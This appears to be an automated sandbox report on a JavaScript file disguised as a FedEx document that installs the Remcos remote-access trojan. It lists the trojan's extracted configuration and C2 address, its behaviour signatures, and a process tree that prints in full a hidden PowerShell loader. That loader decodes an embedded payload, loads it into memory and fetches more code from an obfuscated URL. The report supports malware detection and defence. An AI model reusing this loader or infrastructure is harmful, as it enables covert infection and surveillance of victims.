Overview

overview

10

Static

static

1

FedEx_Custom_doc.js

windows10-2004-x64

10

FedEx_Custom_doc.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    124s
  • max time network
    125s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/06/2026, 09:27

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General

  • Target
    FedEx_Custom_doc.js
  • Size 15.0MB
  • Sample260622-le3ceabs7x
  • SHA256 6ff16b812dcb39404b71dbbeb517d28006303681189187b3db0f43c592c57a5d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareremoteexecutionremcospersistenceransomwareratspyware

Malware Config

Extracted

Family

  • remcos

Version

  • 7.2.5 Pro

Botnet

  • Remote

C2

  • 64.89.160.69:8080

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-NSNX6T

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\FedEx_Custom_doc.js
    1⤵
    • Drops startup file
    • Modifies registry class
    PID:1228
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://erf.pybhqvanel.pbz/qc1lzfdvq/vzntr/hcybnq/i1782105571/vzt_221804_lhnl3o.wct','','P:HfrefChoyvpQbjaybnqf','0WZGNBCs37','ZFOhvyq','0','ZFOhvyq','','','P:HfrefChoyvpQbjaybnqf','0WZGNBCs37','wf','1','','twGX3NgDOM','0','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      2⤵
        PID:2728
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4140
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:2888
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4636
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5504

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 603B
          • SHA256 76051c7134ef5b2b172ae67cc7317ea11daedcc3d11f55c52922e505f501568b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_ouacipe3.2rc.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ouacipe3.2rc.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1240-18-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-13-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-9-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-10-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-11-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-12-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-15-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-14-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-16-0x00000244807C0000-0x0000024480874000-memory.dmp
          Download

          memory/1240-17-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-8-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-0-0x00007FF8A502F000-0x00007FF8A5030000-memory.dmp
          Download

          memory/1240-24-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-20-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-21-0x00007FF8A4EA0000-0x00007FF8A5844000-memory.dmp
          Download

          memory/1240-6-0x00000244E7C70000-0x00000244E7C92000-memory.dmp
          Download

          memory/1240-19-0x0000024480870000-0x000002448087A000-memory.dmp
          Download

          memory/2728-22-0x0000000140000000-0x00000001400AB000-memory.dmp
          Download

          memory/2888-199-0x000000000C220000-0x000000000C47F000-memory.dmp
          Download

          memory/5504-91-0x000001B113200000-0x000001B113220000-memory.dmp
          Download

          memory/5504-58-0x000001B112E80000-0x000001B112F80000-memory.dmp
          Download

          memory/5504-70-0x000001B102C80000-0x000001B102CA0000-memory.dmp
          Download

          memory/5504-57-0x000001B102920000-0x000001B102940000-memory.dmp
          Download

          memory/5504-45-0x000001B1001E0000-0x000001B1002E0000-memory.dmp
          Download